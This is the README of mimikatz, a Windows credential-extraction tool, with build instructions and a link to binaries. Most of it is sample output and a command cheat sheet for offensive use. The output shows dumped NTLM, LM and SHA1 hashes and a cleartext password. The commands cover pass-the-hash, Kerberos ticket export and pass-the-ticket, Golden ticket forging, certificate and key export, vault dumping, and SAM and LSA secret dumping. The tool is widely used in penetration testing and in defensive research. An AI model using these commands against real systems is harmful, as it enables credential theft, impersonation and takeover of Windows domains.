mimikatz is a tool I've made to learn C and make somes experiments with Windows security.

It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr  6 2014 22:02:03)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  13 modules * * */


mimikatz # privilege::debug
Privilege '20' OK
 
mimikatz # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session           : Interactive from 2
User Name         : Gentil Kiwi
Domain            : vm-w7-ult-x
SID               : S-1-5-21-1982681256-1210654043-1600862990-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * Password : waza1234/
...

But that's not all! Crypto, Terminal Server, Events, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on http://blog.gentilkiwi.com (in French, yes).

If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases

log
privilege::debug

sekurlsa::logonpasswords
sekurlsa::tickets /export

sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

kerberos::list /export
kerberos::ptt c:\chocolate.kirbi

kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

crypto::capi
crypto::cng

crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE

crypto::keys /export
crypto::keys /machine /export

vault::cred
vault::list

token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert

mimikatz is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:

• for mimikatz and mimilib : Visual Studio 2010, 2012 or 2013 for Desktop (2013 Express for Desktop is free and supports x86 & x64 - http://www.microsoft.com/download/details.aspx?id=40787)
• for mimikatz driver (and ddk2003 platform) : Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800

mimikatz uses SVN for source control, but is now available with GIT too! You can use any tools you want to sync, even incorporated GIT in Visual Studio 2013 =)

• GIT URL is : https://github.com/gentilkiwi/mimikatz.git
• SVN URL is : https://github.com/gentilkiwi/mimikatz/trunk

• After opening the solution, Build / Build Solution (you can change architecture)
• mimikatz is now built and ready to be used! (Win32 / x64)

With this optional MSBuild platform, you can use the WinDDK build tools, and the default msvcrt runtime (smaller binaries, no dependencies)

For this optional platform, Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.

Follow instructions:

• http://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme
• http://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader

CC BY 3.0 FR licence - http://creativecommons.org/licenses/by/3.0/fr/

Benjamin DELPY gentilkiwi, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com )

This is a personal development, please respect its philosophy and don't use it for bad things!